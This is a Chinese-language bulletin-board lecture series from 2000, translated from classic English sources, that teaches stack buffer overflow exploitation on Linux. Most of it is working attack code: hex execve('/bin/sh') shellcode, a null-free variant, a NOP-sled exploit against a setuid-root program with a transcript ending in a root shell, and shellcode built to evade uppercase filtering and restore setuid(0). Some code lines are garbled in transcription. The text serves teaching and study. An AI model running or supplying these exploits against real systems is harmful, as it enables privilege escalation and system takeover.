堆栈溢出系列讲座大全
发信人: ipxodi (乐乐), 信区: Security标 题: 堆栈溢出系列讲座(1)
发信站: 武汉白云黄鹤站 (Tue Feb 22 16:55:02 2000), 转信
本文以及以下同系列各文为ipxodi根据alphe one, Taeho Oh 的英文资料所译及整
理,
你可以任意复制和分发。
序言:
通过堆栈溢出来获得root权限是目前使用的相当普遍的一项黑客技术。事实上这是
一个
黑客在系统本地已经拥有了一个基本账号后的首选攻击方式。
他也被广泛应用于远程攻击。通过对daemon进程的堆栈溢出来实现远程获得
rootshell
的技术,已经被很多实例实现。
在windows系统中,同样存在着堆栈溢出的问题。而且,随着internet的普及,
win系列
平台上的internet服务程序越来越多,低水平的win程序就成为你系统上的致命伤
。因为
它们同样会被远程堆栈溢出,而且,由于win系统使用者和管理者普遍缺乏安全防
范的意
识,一台win系统上的堆栈溢出,如果被恶意利用,将导致整个机器被敌人所控制
。进而,
可能导致整个局域网落入敌人之手。
本系列讲座将系统的介绍堆栈溢出的机制,原理,应用,以及防范的措施。希望通
过我
的讲座,大家可以了解和掌握这项技术。而且,会自己去寻找堆栈溢出漏洞,以提
高系
统安全。
堆栈溢出系列讲座
入门篇
本讲的预备知识:
首先你应该了解intel汇编语言,熟悉寄存器的组成和功能。
你必须有堆栈和存储分配方面的基础知识,有关这方面的计算机书籍很多,我
将只是简单阐述原理,着重在应用。
其次,你应该了解linux,本讲中我们的例子将在linux上开发。
1:首先复习一下基础知识。
从物理上讲,堆栈是就是一段连续分配的内存空间。在一个程序中,会声明各种变
量。
静态全局变量是位于数据段并且在程序开始运行的时候被加载。而程序的动态的局
部变量
则分配在堆栈里面。
从操作上来讲,堆栈是一个先入后出的队列。他的生长方向与内存的生长方向正好
相反。
我们规定内存的生长方向为向上,则栈的生长方向为向下。压栈的操作push=ESP
-4,
出栈的操作是pop=ESP+4.换句话说,堆栈中老的值,其内存地址,反而比新的值要
大。
请牢牢记住这一点,因为这是堆栈溢出的基本理论依据。
在一次函数调用中,堆栈中将被依次压入:参数,返回地址,EBP。如果函数有局
部变量,
接下来,就在堆栈中开辟相应的空间以构造变量。函数执行结束,这些局部变量的
内容将
被丢失。但是不被清除。在函数返回的时候,弹出EBP,恢复堆栈到函数调用的地
址,弹出
返回地址到EIP以继续执行程序。
在C语言程序中,参数的压栈顺序是反向的。比如func(a,b,c)。在参数入栈的时
候,是:
先压c,再压b,最后压a.在取参数的时候,由于栈的先入后出,先取栈顶的a,再取
b,最后
取c。
(PS:如果你看不懂上面这段概述,请你去看以看关于堆栈的书籍,一般的汇编语
言书籍
都会详细的讨论堆栈,必须弄懂它,你才能进行下面的学习)
2:好了,继续,让我们来看一看什么是堆栈溢出。
2.1:运行时的堆栈分配
堆栈溢出就是不顾堆栈中分配的局部数据块大小,向该数据块写入了过多的数据,
导致
数据越界。结果覆盖了老的堆栈数据。
比如有下面一段程序:
程序一:
#include
int main ( )
{
char name[8];
printf("Please type your name: ");
gets(name);
printf("Hello, %s!", name);
return 0;
}
编译并且执行,我们输入ipxodi,就会输出Hello,ipxodi!。程序运行中,堆栈是怎
么操作
的呢?
在main函数开始运行的时候,堆栈里面将被依次放入返回地址,EBP。
我们用gcc -S 来获得汇编语言输出,可以看到main函数的开头部分对应如下语句
:
pushl %ebp
movl %esp,%ebp
subl $8,%esp
首先他把EBP保存下来,,然后EBP等于现在的ESP,这样EBP就可以用来访问本函数
的
局部变量。之后ESP减8,就是堆栈向上增长8个字节,用来存放name[]数组。现在
堆栈
的布局如下:
内存底部 内存顶部
name EBP ret
<------ [ ][ ][ ]
^&name
堆栈顶部 堆栈底部
执行完gets(name)之后,堆栈如下:
内存底部 内存顶部
name EBP ret
<------ [ipxodi/0 ][ ][ ]
^&name
堆栈顶部 堆栈底部
最后,main返回,弹出ret里的地址,赋值给EIP,CPU继续执行EIP所指向的指令。
2.2:堆栈溢出
好,看起来一切顺利。我们再执行一次,输入ipxodiAAAAAAAAAAAAAAA,执行完
gets(name)
之后,堆栈如下:
内存底部 内存顶部
name EBP ret
<------ [ipxodiAA][AAAA][AAAA].......
^&name
堆栈顶部 堆栈底部
由于我们输入的name字符串太长,name数组容纳不下,只好向内存顶部继续写‘A
’。
由于堆栈的生长方向与内存的生长方向相反,这些‘A’覆盖了堆栈的老的元素。
如图
我们可以发现,EBP,ret都已经被‘A’覆盖了。在main返回的时候,就会把‘
AAAA’
的ASCII码:0x41414141作为返回地址,CPU会试图执行0x41414141处的指令,结果
出现
错误。这就是一次堆栈溢出。
3:如何利用堆栈溢出
我们已经制造了一次堆栈溢出。其原理可以概括为:由于字符串处理函数
(gets,strcpy等等)没有对数组越界加以监视和限制,我们利用字符数组写越界
,
覆盖堆栈中的老元素的值,就可以修改返回地址。
在上面的例子中,这导致CPU去访问一个不存在的指令,结果出错。
事实上,当堆栈溢出的时候,我们已经完全的控制了这个程序下一步的动作。如果
我们用一个实际存在指令地址来覆盖这个返回地址,CPU就会转而执行我们的指令
。
在UINX系统中,我们的指令可以执行一个shell,这个shell将获得和被我们堆栈溢
出
的程序相同的权限。如果这个程序是setuid的,那么我们就可以获得root shell。
下一讲将叙述如何书写一个shell code。
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发信人: ipxodi (乐乐), 信区: Security
标 题: 堆栈溢出系列讲座(2)
发信站: 武汉白云黄鹤站 (Tue Feb 22 16:55:28 2000), 转信
堆栈溢出系列讲座
如何书写一个shell code
一:shellcode基本算法分析
在程序中,执行一个shell的程序是这样写的:
shellcode.c
------------------------------------------------------------------------
-----
#include
void main() {
char *name[2];
name[0] = "/bin/sh";
name[1] = NULL;
execve(name[0], name, NULL);
}
------------------------------------------------------------------------
------
execve函数将执行一个程序。他需要程序的名字地址作为第一个参数。一个内容为
该程序
的argv[i](argv[n-1]=0)的指针数组作为第二个参数,以及(char*) 0作为第三个
参数。
我们来看以看execve的汇编代码:
[nkl10]$ gcc -o shellcode -static shellcode.c
[nkl10]$ gdb shellcode
(gdb) disassemble __execve
Dump of assembler code for function __execve:
0x80002bc <__execve>: pushl %ebp ;
0x80002bd <__execve+1>: movl %esp,%ebp
;上面是函数头。
0x80002bf <__execve+3>: pushl %ebx
;保存ebx
0x80002c0 <__execve+4>: movl $0xb,%eax
;eax=0xb,eax指明第几号系统调用。
0x80002c5 <__execve+9>: movl 0x8(%ebp),%ebx
;ebp+8是第一个参数"/bin/sh/0"
0x80002c8 <__execve+12>: movl 0xc(%ebp),%ecx
;ebp+12是第二个参数name数组的地址
0x80002cb <__execve+15>: movl 0x10(%ebp),%edx
;ebp+16是第三个参数空指针的地址。
;name[2-1]内容为NULL,用来存放返回值。
0x80002ce <__execve+18>: int $0x80
;执行0xb号系统调用(execve)
0x80002d0 <__execve+20>: movl %eax,%edx
;下面是返回值的处理就没有用了。
0x80002d2 <__execve+22>: testl %edx,%edx
0x80002d4 <__execve+24>: jnl 0x80002e6 <__execve+42>
0x80002d6 <__execve+26>: negl %edx
0x80002d8 <__execve+28>: pushl %edx
0x80002d9 <__execve+29>: call 0x8001a34
<__normal_errno_location>
0x80002de <__execve+34>: popl %edx
0x80002df <__execve+35>: movl %edx,(%eax)
0x80002e1 <__execve+37>: movl $0xffffffff,%eax
0x80002e6 <__execve+42>: popl %ebx
0x80002e7 <__execve+43>: movl %ebp,%esp
0x80002e9 <__execve+45>: popl %ebp
0x80002ea <__execve+46>: ret
0x80002eb <__execve+47>: nop
End of assembler dump.
经过以上的分析,可以得到如下的精简指令算法:
movl $execve的系统调用号,%eax
movl "bin/sh/0"的地址,%ebx
movl name数组的地址,%ecx
movl name[n-1]的地址,%edx
int $0x80 ;执行系统调用(execve)
当execve执行成功后,程序shellcode就会退出,/bin/sh将作为子进程继续执行。
可是,
如果我们的execve执行失败,(比如没有/bin/sh这个文件),CPU就会继续执行后
续的
指令,结果不知道跑到哪里去了。所以必须再执行一个exit()系统调用,
结束shellcode.c的执行。
我们来看以看exit(0)的汇编代码:
(gdb) disassemble _exit
Dump of assembler code for function _exit:
0x800034c <_exit>: pushl %ebp
0x800034d <_exit+1>: movl %esp,%ebp
0x800034f <_exit+3>: pushl %ebx
0x8000350 <_exit+4>: movl $0x1,%eax ;1号系统调用
0x8000355 <_exit+9>: movl 0x8(%ebp),%ebx ;ebx为参数0
0x8000358 <_exit+12>: int $0x80 ;引发系统调用
0x800035a <_exit+14>: movl 0xfffffffc(%ebp),%ebx
0x800035d <_exit+17>: movl %ebp,%esp
0x800035f <_exit+19>: popl %ebp
0x8000360 <_exit+20>: ret
0x8000361 <_exit+21>: nop
0x8000362 <_exit+22>: nop
0x8000363 <_exit+23>: nop
End of assembler dump.
看来exit(0)〕的汇编代码更加简单:
movl $0x1,%eax ;1号系统调用
movl 0,%ebx ;ebx为exit的参数0
int $0x80 ;引发系统调用
那么总结一下,合成的汇编代码为:
movl $execve的系统调用号,%eax
movl "bin/sh/0"的地址,%ebx
movl name数组的地址,%ecx
movl name[n-1]的地址,%edx
int $0x80 ;执行系统调用(execve)
movl $0x1,%eax ;1号系统调用
movl 0,%ebx ;ebx为exit的参数0
int $0x80 ;执行系统调用(exit)
二:实现一个shellcode
好,我们来实现这个算法。首先我们必须有一个字符串“/bin/sh”,还得有一个
name数组
。我们可以构造它们出来,可是,在shellcode中如何知道它们的地址呢?每一次
程序都是
动态加载,字符串和name数组的地址都不是固定的。
通过JMP和call的结合,黑客们巧妙的解决了这个问题。
------------------------------------------------------------------------
------
jmp call的偏移地址 # 2 bytes
popl %esi # 1 byte //popl出来的是string的地址。
movl %esi,array-offset(%esi) # 3 bytes //在string+8处构造 name数组,
//name[0]放 string的地址
movb $0x0,nullbyteoffset(%esi)# 4 bytes //string+7处放0作为string的结
尾。
movl $0x0,null-offset(%esi) # 7 bytes //name[1]放0。
movl $0xb,%eax # 5 bytes //eax=0xb是execve的syscall代码
。
movl %esi,%ebx # 2 bytes //ebx=string的地址
leal array-offset,(%esi),%ecx # 3 bytes //ecx=name数组的开始地址
leal null-offset(%esi),%edx # 3 bytes //edx=name〔1]的地址
int $0x80 # 2 bytes //int 0x80是sys call
movl $0x1, %eax # 5 bytes //eax=0x1是exit的syscall代码
movl $0x0, %ebx # 5 bytes //ebx=0是exit的返回值
int $0x80 # 2 bytes //int 0x80是sys call
call popl 的偏移地址 # 5 bytes //这里放call,string 的地址就会
作
//为返回地址压栈。
/bin/sh 字符串
------------------------------------------------------------------------
------
首先使用JMP相对地址来跳转到call,执行完call指令,字符串/bin/sh的地址将作
为call的
返回地址压入堆栈。现在来到popl esi,把刚刚压入栈中的字符串地址取出来,就
获得了
字符串的真实地址。然后,在字符串的第8个字节赋0,作为串的结尾。后面8个字
节,构造
name数组(两个整数,八个字节)。
我们可以写shellcode了。先写出汇编源程序。
shellcodeasm.c
------------------------------------------------------------------------
------
void main() {
__asm__("
jmp 0x2a # 3 bytes
popl %esi # 1 byte
movl %esi,0x8(%esi) # 3 bytes
movb $0x0,0x7(%esi) # 4 bytes
movl $0x0,0xc(%esi) # 7 bytes
movl $0xb,%eax # 5 bytes
movl %esi,%ebx # 2 bytes
leal 0x8(%esi),%ecx # 3 bytes
leal 0xc(%esi),%edx # 3 bytes
int $0x80 # 2 bytes
movl $0x1, %eax # 5 bytes
movl $0x0, %ebx # 5 bytes
int $0x80 # 2 bytes
call -0x2f # 5 bytes
.string /"/bin/sh/" # 8 bytes
");
}
------------------------------------------------------------------------
------
编译后,用gdb的
b/bx 〔地址〕
命令可以得到十六进制的表示。
下面,写出测试程序如下:(注意,这个test程序是测试shellcode的基本程序)
test.c
------------------------------------------------------------------------
------
char shellcode[] =
"/xeb/x2a/x5e/x89/x76/x08/xc6/x46/x07/x00/xc7/x46/x0c/x00/x00/x00"
"/x00/xb8/x0b/x00/x00/x00/x89/xf3/x8d/x4e/x08/x8d/x56/x0c/xcd/x80"
"/xb8/x01/x00/x00/x00/xbb/x00/x00/x00/x00/xcd/x80/xe8/xd1/xff/xff"
"/xff/x2f/x62/x69/x6e/x2f/x73/x68/x00/x89/xec/x5d/xc3";
void main() {
int *ret;
ret = (int *)&ret + 2; //ret 等于main()的返回地址
//(+2是因为:有pushl ebp ,否则加1就可以了。)
(*ret) = (int)shellcode; //修改main()的返回地址为shellcode的开始地
址。
}
------------------------------------------------------------------------
------
------------------------------------------------------------------------
------
[nkl10]$ gcc -o test test.c
[nkl10]$ ./test
$ exit
[nkl10]$
------------------------------------------------------------------------
------
我们通过一个shellcode数组来存放shellcode,当我们把程序(test.c)的返回地
址ret
设置成shellcode数组的开始地址时,程序在返回的时候就会去执行我们的
shellcode,从
而我们得到了一个shell。
运行结果,得到了bsh的提示符$,表明成功的开了一个shell。
这里有必要解释的是,我们把shellcode作为一个全局变量开在了数据段而不是作
为一段
代码。是因为在操作系统中,程序代码段的内容是具有只读属性的。不能修改。而
我们的
代码中movl %esi,0x8(%esi)等语句都修改了代码的一部分,所以不能放在代码
段。
这个shellcode可以了吗?很遗憾,还差了一点。大家回想一下,在堆栈溢出中,
关键在
于字符串数组的写越界。但是,gets,strcpy等字符串函数在处理字符串的时候,
以"/0"
为字符串结尾。遇/0就结束了写操作。而我们的shellcode串中有大量的/0字符。
因此,
对于gets(name)来说,上面的shellcode是不可行的。我们的shellcode是不能有
/0字符
出现的。
因此,有些指令需要修改一下:
旧的指令 新的指令
--------------------------------------------------------
movb $0x0,0x7(%esi) xorl %eax,%eax
molv $0x0,0xc(%esi) movb %eax,0x7(%esi)
movl %eax,0xc(%esi)
--------------------------------------------------------
movl $0xb,%eax movb $0xb,%al
--------------------------------------------------------
movl $0x1, %eax xorl %ebx,%ebx
movl $0x0, %ebx movl %ebx,%eax
inc %eax
--------------------------------------------------------
最后的shellcode为:
------------------------------------------------------------------------
----
char shellcode[]=
00 "/xeb/x1f" /* jmp 0x1f */
02 "/x5e" /* popl %esi */
03 "/x89/x76/x08" /* movl %esi,0x8(%esi) */
06 "/x31/xc0" /* xorl %eax,%eax */
08 "/x88/x46/x07" /* movb %eax,0x7(%esi) */
0b "/x89/x46/x0c" /* movl %eax,0xc(%esi) */
0e "/xb0/x0b" /* movb $0xb,%al */
10 "/x89/xf3" /* movl %esi,%ebx */
12 "/x8d/x4e/x08" /* leal 0x8(%esi),%ecx */
15 "/x8d/x56/x0c" /* leal 0xc(%esi),%edx */
18 "/xcd/x80" /* int $0x80 */
1a "/x31/xdb" /* xorl %ebx,%ebx */
1c "/x89/xd8" /* movl %ebx,%eax */
1e "/x40" /* inc %eax */
1f "/xcd/x80" /* int $0x80 */
21 "/xe8/xdc/xff/xff/xff" /* call -0x24 */
26 "/bin/sh"; /* .string /"/bin/sh/" */
------------------------------------------------------------------------
----
三:利用堆栈溢出获得shell
好了,现在我们已经制造了一次堆栈溢出,写好了一个shellcode。准备工作都已
经作完,
我们把二者结合起来,就写出一个利用堆栈溢出获得shell的程序。
overflow1.c
------------------------------------------------------------------------
------
char shellcode[] =
"/xeb/x1f/x5e/x89/x76/x08/x31/xc0/x88/x46/x07/x89/x46/x0c/xb0/x0b"
"/x89/xf3/x8d/x4e/x08/x8d/x56/x0c/xcd/x80/x31/xdb/x89/xd8/x40/xcd"
"/x80/xe8/xdc/xff/xff/xff/bin/sh";
char large_string[128];
void main() {
char buffer[96];
int i;
long *long_ptr = (long *) large_string;
for (i = 0; i < 32; i++)
*(long_ptr + i) = (int) buffer;
for (i = 0; i < strlen(shellcode); i++)
large_string[i] = shellcode[i];
strcpy(buffer,large_string);
}
------------------------------------------------------------------------
------
在执行完strcpy后,堆栈内容如下所示:
内存底部 内存顶部
buffer EBP ret
<------ [SSS...SSSA ][A ][A ]A..A
^&buffer
堆栈顶部 堆栈底部
注:S表示shellcode。
A表示shellcode的地址。
这样,在执行完strcpy后,overflow。c将从ret取出A作为返回地址,从而执行了
我们的
shellcode。
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发信人: ipxodi (乐乐), 信区: Security
标 题: 堆栈溢出系列讲座(3)
发信站: 武汉白云黄鹤站 (Tue Feb 22 16:55:58 2000), 转信
堆栈溢出系列讲座
利用堆栈溢出获得shell
现在让我们进入最刺激的一讲,利用别人的程序的堆栈溢出获得rootshell。我们
将面对
一个有strcpy堆栈溢出漏洞的程序,利用前面说过的方法来得到shell。
回想一下前面所讲,我们通过一个shellcode数组来存放shellcode,利用程序中的
strcpy
函数,把shellcode放到了程序的堆栈之中;我们制造了数组越界,用shellcode的
开始地
址覆盖了程序(overflow.c)的返回地址,程序在返回的时候就会去执行我们的
shellcode,从而我们得到了一个shell。
当我们面对别人写的程序时,为了让他执行我们的shellcode,同样必须作这两件
事:
1:把我们的shellcode提供给他,让他可以访问shellcode。
2:修改他的返回地址为shellcode的入口地址。
为了做到这两条,我们必须知道他的strcpy(buffer,ourshellcode)中,buffer
的地址。
因为当我们把shellcode提供给strcpy之后,buffer的开始地址就是shellcode的开
始地址
,我们必须用这个地址来覆盖堆栈才成。这一点大家一定要明确。
我们知道,对于操作系统来说,一个shell下的每一个程序的堆栈段开始地址都是
相同的
。我们可以写一个程序,获得运行时的堆栈起始地址,这样,我们就知道了目标程
序堆栈
的开始地址。
下面这个函数,用eax返回当前程序的堆栈指针。(所有C函数的返回值都放在eax
寄存器
里面):
------------------------------------------------------------------------
------
unsigned long get_sp(void) {
__asm__("movl %esp,%eax");
}
------------------------------------------------------------------------
------
我们在知道了堆栈开始地址后,buffer相对于堆栈开始地址的偏移,是他程序员自
己
写出来的程序决定的,我们不知道,只能靠猜测了。不过,一般的程序堆栈大约是
几K
左右。所以,这个buffer与上面得到的堆栈地址,相差就在几K之间。
显然猜地址这是一件很难的事情,从0试到10K,会把人累死的。
前面我们用来覆盖堆栈的溢出字符串为:
SSSSSSSSSSSSAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
现在,为了提高命中率,我们对他进行如下改进:
用来溢出的字符串变为:
NNNNNNNNNNNNNNNNSSSSSSSSSSSSSSSAAAAAAAAAAAAAAAAAAA
其中:
N为NOP.NOP指令意思是什么都不作,跳过一个CPU指令周期。在intel机器上,
NOP指令的机器码为0x90。
S为shellcode。
A为我们猜测的buffer的地址。这样,A猜大了也可以落在N上,并且最终会执行到
S.
这个改进大大提高了猜测的命中率,有时几乎可以一次命中。:)))
好了,枯燥的算法分析完了,下面就是利用./vulnerable1的堆栈溢出漏洞来得到
shell的程序:
exploit1.c
------------------------------------------------------------------------
----
#include
#include
#define OFFSET 0
#define RET_POSITION 1024
#define RANGE 20
#define NOP 0x90
char shellcode[]=
"/xeb/x1f" /* jmp 0x1f */
"/x5e" /* popl %esi */
"/x89/x76/x08" /* movl %esi,0x8(%esi) */
"/x31/xc0" /* xorl %eax,%eax */
"/x88/x46/x07" /* movb %eax,0x7(%esi) */
"/x89/x46/x0c" /* movl %eax,0xc(%esi) */
"/xb0/x0b" /* movb $0xb,%al */
"/x89/xf3" /* movl %esi,%ebx */
"/x8d/x4e/x08" /* leal 0x8(%esi),%ecx */
"/x8d/x56/x0c" /* leal 0xc(%esi),%edx */
"/xcd/x80" /* int $0x80 */
"/x31/xdb" /* xorl %ebx,%ebx */
"/x89/xd8" /* movl %ebx,%eax */
"/x40" /* inc %eax */
"/xcd/x80" /* int $0x80 */
"/xe8/xdc/xff/xff/xff" /* call -0x24 */
"/bin/sh"; /* .string /"/bin/sh/" */
unsigned long get_sp(void)
{
__asm__("movl %esp,%eax");
}
main(int argc,char **argv)
{
char buff[RET_POSITION+RANGE+1],*ptr;
long addr;
unsigned long sp;
int offset=OFFSET,bsize=RET_POSITION+RANGE+ALIGN+1;
int i;
if(argc>1)
offset=atoi(argv[1]);
sp=get_sp();
addr=sp-offset;
for(i=0;i *((long *)&(buff[i]))=addr;
for(i=0;i buff[i]=NOP;
ptr=buff+bsize-RANGE*2-strlen(shellcode)-1;
for(i=0;i *(ptr++)=shellcode[i];
buff[bsize-1]='/0';
//现在buff的内容为
//NNNNNNNNNNNNNNNSSSSSSSSSSSSSSSAAAAAAAAAAAAAAAAAAA/0
printf("Jump to 0x%08x/n",addr);
execl("./vulnerable1","vulnerable1",buff,0);
}
------------------------------------------------------------------------
----
execl用来执行目标程序./vulnerable1,buff是我们精心制作的溢出字符串,
作为./vulnerable1的参数提供。
以下是执行的结果:
------------------------------------------------------------------------
----
[nkl10]$ ls -l vulnerable1
-rwsr-xr-x 1 root root xxxx jan 10 16:19 vulnerable1*
[nkl10]$ ls -l exploit1
-rwxr-xr-x 1 ipxodi cinip xxxx Oct 18 13:20 exploit1*
[nkl10]$ ./exploit1
Jump to 0xbfffec64
Segmentation fault
[nkl10]$ ./exploit1 500
Jump to 0xbfffea70
bash# whoami
root
bash#
------------------------------------------------------------------------
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恭喜,恭喜,你获得了root shell。
下一讲,我们将进一步探讨shellcode的书写。我们将讨论一些很复杂的
shellcode。
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发信人: ipxodi (乐乐), 信区: Security
标 题: 堆栈溢出系列讲座(4)
发信站: 武汉白云黄鹤站 (Tue Feb 22 16:56:19 2000), 转信
堆栈溢出系列讲座
复杂的shellcode
前面几讲,我们已经有了基本的堆栈溢出知识,可以编写基本的shellcode了。这
一讲,
我们将进一步探讨shellcode的书写。我们将讨论一些很复杂的shellcode。
复杂shellcode的产生是由于有一定防范措施的的目标程序。(所谓道高一尺,魔
高一丈)
。以下分类讨论几种情况。注意,下面的分类是不全面的,也不可能穷尽所有的情
况,
只是提供一些例子来阐明修改shellcode的技巧。
1:输入的溢出字符串被预处理
比如,如果敌人在自己的程序里面加入如下代码,就可抑制前面提到的堆栈溢出的
攻击:
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。。。。。。
for(i=0;i argv[1][i]=toupper(argv[1][i]);
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^加入的代码
。。。。。。
strcpy(buffer,argv[1]);
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----
显然,由于toupper函数对输入进行了过滤处理,/bin/sh变成了/BIN/SH,UNIX系
统是
大小写敏感的,因此execve系统调用不会成功。自然得不到shell。
怎么办?我们可以修改shellcode,使他不包含ascII为0x60--0x7a的字符。我们把
/bin/sh的每一个字母都减去0x50,得到"/x2f/x12/x19/x1e/x2f/x23/x18",在
shellcode
里面再把它们改回来。
另外,指令"/x89/x76/x08" /* movl %esi,0x8(%esi) */
也有问题字符/x76.我们可以把他改成其他的等价指令。比如改成:
"movl %esi,%eax", "addl $0x8,%eax","movl %eax,0x8(%esi)".
新的shellcode如下:
char shellcode[]=
"/xeb/x38" /* jmp 0x38 */
"/x5e" /* popl %esi */
"/x80/x46/x01/x50" /* addb $0x50,0x1(%esi) */
"/x80/x46/x02/x50" /* addb $0x50,0x2(%esi) */
"/x80/x46/x03/x50" /* addb $0x50,0x3(%esi) */
"/x80/x46/x05/x50" /* addb $0x50,0x5(%esi) */
"/x80/x46/x06/x50" /* addb $0x50,0x6(%esi) */
"/x89/xf0" /* movl %esi,%eax */
"/x83/xc0/x08" /* addl $0x8,%eax */
"/x89/x46/x08" /* movl %eax,0x8(%esi) */
"/x31/xc0" /* xorl %eax,%eax */
"/x88/x46/x07" /* movb %eax,0x7(%esi) */
"/x89/x46/x0c" /* movl %eax,0xc(%esi) */
"/xb0/x0b" /* movb $0xb,%al */
"/x89/xf3" /* movl %esi,%ebx */
"/x8d/x4e/x08" /* leal 0x8(%esi),%ecx */
"/x8d/x56/x0c" /* leal 0xc(%esi),%edx */
"/xcd/x80" /* int $0x80 */
"/x31/xdb" /* xorl %ebx,%ebx */
"/x89/xd8" /* movl %ebx,%eax */
"/x40" /* inc %eax */
"/xcd/x80" /* int $0x80 */
"/xe8/xc3/xff/xff/xff" /* call -0x3d */
"/x2f/x12/x19/x1e/x2f/x23/x18"; /* .string "/bin/sh" */
/* /bin/sh is disguised */
好,一个新的shellcode,绕过了预处理器的检查。我们可以用这种方法解决那些
不允许有某些字符集合的预处理检查。比如不允许!@#$%^&*的,等等。
2:对付seteuid(getuid())
有的程序在开始的时候seteuid(getuid()),然后在需要的时候才进行
setuid(0)。这样就可以在发生堆栈溢出的时候由于euid!=0而使我们只能得到普
通shell。
当你搞定了一个setuid位的程序,却发现只得到了普通用户shell的时候,就很可
能是这种情况。
但是,如果我们在自己的shellcode里面加上setuid(0),就一样可以得到
rootshell。
我们写一个带有setuid的程序,用gcc -static 编译,使用gdb来试验:
(gdb) disassemble setuid
Dump of assembler code for function __setuid:
0x804ca00 <__setuid>: movl %ebx,%edx
0x804ca02 <__setuid+2>: movl 0x4(%esp,1),%ebx
0x804ca06 <__setuid+6>: movl $0x17,%eax
0x804ca0b <__setuid+11>: int $0x80
0x804ca0d <__setuid+13>: movl %edx,%ebx
0x804ca0f <__setuid+15>: cmpl $0xfffff001,%eax
0x804ca14 <__setuid+20>: jae 0x804cc10 <__syscall_error>
0x804ca1a <__setuid+26>: ret
0x804ca1b <__setuid+27>: nop
0x804ca1c <__setuid+28>: nop
0x804ca1d <__setuid+29>: nop
0x804ca1e <__setuid+30>: nop
0x804ca1f <__setuid+31>: nop
End of assembler dump.
我们可以用b/bx指令得到:setuid(0)的汇编代码:
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char code[]=
"/x31/xc0" /* xorl %eax,%eax */
"/x31/xdb" /* xorl %ebx,%ebx */
"/xb0/x17" /* movb $0x17,%al */
"/xcd/x80"; /* int $0x80 */
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把这段代码加到标准shellcode中jmp的前面就可以了。
(注意,最好不要加到jmp的后面,因为还要重新计算偏移,而且如果期间有堆栈
操作,
就把string的返回地址冲掉了)
new shellcode
------------------------------------------------------------------------
----
char shellcode[]=
"/x31/xc0" /* xorl %eax,%eax */
"/x31/xdb" /* xorl %ebx,%ebx */
"/xb0/x17" /* movb $0x17,%al */
"/xcd/x80" /* int $0x80 */
"/xeb/x1f" /* jmp 0x1f
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